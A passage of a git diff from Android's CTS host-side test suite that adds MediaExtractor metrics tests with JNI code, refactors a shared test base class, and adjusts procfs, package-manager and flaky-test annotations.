+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.media.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.media.cts"
+ android:label="Device test app for MediaExtractor host side tests.">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+ JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+ ScopedUtfChars scopedPath(env, assetPath);
+
+ AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+ AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+ off_t start;
+ off_t length;
+ int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+ auto mediaExtractorTask = [=]() {
+ AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+ AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+ AMediaExtractor_delete(mediaExtractor);
+ };
+
+ if (withAttachedJvm) {
+ // The currently running thread is a Java thread so it has an attached JVM.
+ mediaExtractorTask();
+ } else {
+ // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+ // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+ // new thread, and immediately join its execution so as to wait for its completion.
+ std::thread(mediaExtractorTask).join();
+ }
+ // TODO: Make resource management automatic through scoped handles.
+ close(fd);
+ AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+ static {
+ System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+ }
+
+ private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+ private AssetManager mAssetManager;
+
+ @Before
+ public void setUp() {
+ mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ }
+
+ @Test
+ public void testEntryPointSdk() throws Exception {
+ MediaExtractor mediaExtractor = new MediaExtractor();
+ AssetManager assetManager =
+ InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+ mediaExtractor.setDataSource(fileDescriptor);
+ }
+ mediaExtractor.release();
+ }
+
+ @Test
+ public void testEntryPointNdkNoJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+ }
+
+ @Test
+ public void testEntryPointNdkWithJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+ }
+
+ private native void extractUsingNdkMediaExtractor(
+ AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than the defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ /** Instrumentation test runner argument key used for individual test timeout. */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Runs tests on the device.
+ *
+ * @param pkgName The test package file name that contains the test.
+ * @param testClassName The class name to test within the test package. If {@code null}, runs
+ * all test classes in the package.
+ * @param testMethodName Method name to test within the test class. Ignored if {@code
+ * testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+ */
+ protected void runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertTestsPassed(listener.getCurrentRunResults());
+ }
+
+ /**
+ * Excutes shell command and returns the result.
+ *
+ * @param command The command to run.
+ * @return The result from the command. If the result was {@code null}, empty string ("") will
+ * be returned instead. Otherwise, trimmed result will be returned.
+ */
+ protected @Nonnull String executeShellCommand(String command) throws Exception {
+ LogUtil.CLog.d("Starting command " + command);
+ String commandOutput = getDevice().executeShellCommand(command);
+ LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+ return commandOutput != null ? commandOutput.trim() : "";
+ }
+
+ /** Installs the app with the given {@code appFileName}. */
+ protected void installApp(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ /* reinstall= */ true,
+ /* grantPermissions= */ true,
+ "-t"); // Signals that this is a test APK.
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+ protected RemoteAndroidTestRunner getTestRunner(
+ String pkgName, String testClassName, String testMethodName) {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+ return testRunner;
+ }
+
+ /**
+ * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+ *
+ * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+ */
+ protected void assertTestsPassed(TestRunResult testRunResult) {
+ if (testRunResult.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + testRunResult.getName()
+ + ": "
+ + testRunResult.getRunFailureMessage());
+ }
+ if (testRunResult.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (testRunResult.hasFailedTests()) {
+ // Build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ testRunResult.getTestResults().entrySet()) {
+ if (!resultEntry
+ .getValue()
+ .getStatus()
+ .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
/**
* Base class for host-side tests for multi-user aware media APIs.
*/
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- /**
- * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
- * command output from the device. At any time, if the shell command does not output anything
- * for a period longer than the defined timeout the Tradefed run terminates.
- */
- private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
- /**
- * Instrumentation test runner argument key used for individual test timeout
- **/
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
- /**
- * Sets timeout (in milliseconds) that will be applied to each test. In the
- * event of a test timeout it will log the results and proceed with executing the next test.
- */
- private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
@@ -78,7 +59,6 @@
*/
protected static final int USER_SYSTEM = 0;
- private IBuildInfo mCtsBuild;
private String mPackageVerifier;
private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
"0",
USER_ALL);
- mExistingUsers = new ArrayList();
+ mExistingUsers = new ArrayList<>();
int primaryUserId = getDevice().getPrimaryUserId();
mExistingUsers.add(primaryUserId);
mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
super.tearDown();
}
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
/**
* Installs the app as if the user of the ID {@param userId} has installed the app.
*
@@ -165,20 +140,6 @@
result);
}
- /**
- * Excutes shell command and returns the result.
- *
- * @param command command to run.
- * @return result from the command. If the result was {@code null}, empty string ("") will be
- * returned instead. Otherwise, trimmed result will be returned.
- */
- protected @Nonnull String executeShellCommand(final String command) throws Exception {
- CLog.d("Starting command " + command);
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + commandOutput);
- return commandOutput != null ? commandOutput.trim() : "";
- }
-
private int createAndStartUser(String extraParam) throws Exception {
String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
* {@code null}.
* @param userId user ID to run the tests as.
*/
- protected void runDeviceTestsAsUser(
+ protected void runDeviceTests(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // Build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ assertTestsPassed(result);
}
/**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+ /** Package name of the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+ /** Name of the APK that contains the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+ /** Fully qualified class name for the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_CLASS =
+ "android.media.cts.MediaExtractorDeviceSideTest";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ installApp(DEVICE_SIDE_TEST_APK);
+ removeConfig(); // Clear existing configs.
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testMediaMetricsEntryPointSdk() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+ }
+
+ public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+ }
+
+ public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+ runDeviceTests(
+ DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+ }
+
+ // Internal methods.
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+ throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+ data.stream()
+ .map(element -> element.getAtom().getMediametricsExtractorReported())
+ .collect(Collectors.toList());
+ // During device boot, services may extract media files. We ensure we only pick up metric
+ // events from our device-side test.
+ mediametricsExtractorReported.removeIf(
+ entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+ assertThat(mediametricsExtractorReported).hasSize(1);
+ return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index e4956b0..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,7 +253,9 @@
@AppModeFull
@RequiresDevice
- public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+ // Ignored due to b/171012388.
+ public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+ throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -288,8 +290,7 @@
private void runTestAsUser(String testMethodName, int userId)
throws DeviceNotAvailableException {
- runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
- testMethodName, userId);
+ runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
}
/**
diff --git a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
index d2c463a..57b4c1b 100644
--- a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
@@ -27,6 +27,8 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import junit.framework.AssertionFailedError;
+
public class ProcfsHostTests extends DeviceTestCase implements IBuildReceiver {
// We need a running test app to test /proc/[PID]/* files.
private static final String TEST_APP_PACKAGE = "android.os.procfs";
@@ -114,10 +116,20 @@
public void testProcTidStat() throws Exception {
int[] tids = lookForTidsInProcess(mTestAppPid);
assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", tids.length >= 2);
+ int successCount = 0;
for (int tid : tids) {
- readAndCheckFile(
- "/proc/" + mTestAppPid + "/task/" + tid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+ String filePath = "/proc/" + mTestAppPid + "/task/" + tid + "/stat";
+ try {
+ readAndCheckFile(filePath, "cat ", PID_TID_STAT_PATTERN);
+ successCount++;
+ } catch (AssertionFailedError e) {
+ // Threads may be short-lived. Make sure they're still there before throwing assertion error
+ if (mDevice.doesFileExist(filePath)) {
+ throw e;
+ }
+ }
}
+ assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", successCount >= 2);
}
/**
diff --git a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
index 80116e0..f35a3db 100644
--- a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
+++ b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
@@ -53,4 +53,15 @@
packageInstaller.uninstallExistingPackage(pkgName, null);
}
+
+ /**
+ * Calling PackageManager#getInstalledModules on a secondary user without INTERACT_ACROSS_USERS
+ * should not throw SecurityException.
+ */
+ @Test
+ public void testGetInstalledModules() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ PackageManager packageManager = context.getPackageManager();
+ packageManager.getInstalledModules(0);
+ }
}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..2deee7e
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
@@ -0,0 +1,34 @@
+package com.android.tests.packagemanager.multiuser.host;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PackageManagerMultiUserTest extends PackageManagerMultiUserTestBase {
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ @Test
+ @AppModeFull
+ public void testGetInstalledModules() throws Exception {
+ int newUserId = createUser();
+ getDevice().startUser(newUserId);
+ runDeviceTestAsUser("testGetInstalledModules", newUserId, null);
+ }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
index 7c9f1fd..68e5f23 100644
--- a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
+++ b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.FlakyTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
@@ -64,6 +65,7 @@
assertFalse(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
}
+ @FlakyTest(bugId = 174668020)
@Test
@AppModeFull
public void testAddPreferredActivity() throws Exception {
@@ -81,6 +83,7 @@
Collections.singletonMap("numPreferredActivities", "1")));
}
+ @FlakyTest(bugId = 174668020)
@Test
@AppModeFull
public void testAddDuplicatedPreferredActivity() throws Exception {
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index d224af0..156980a 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -99,7 +99,7 @@
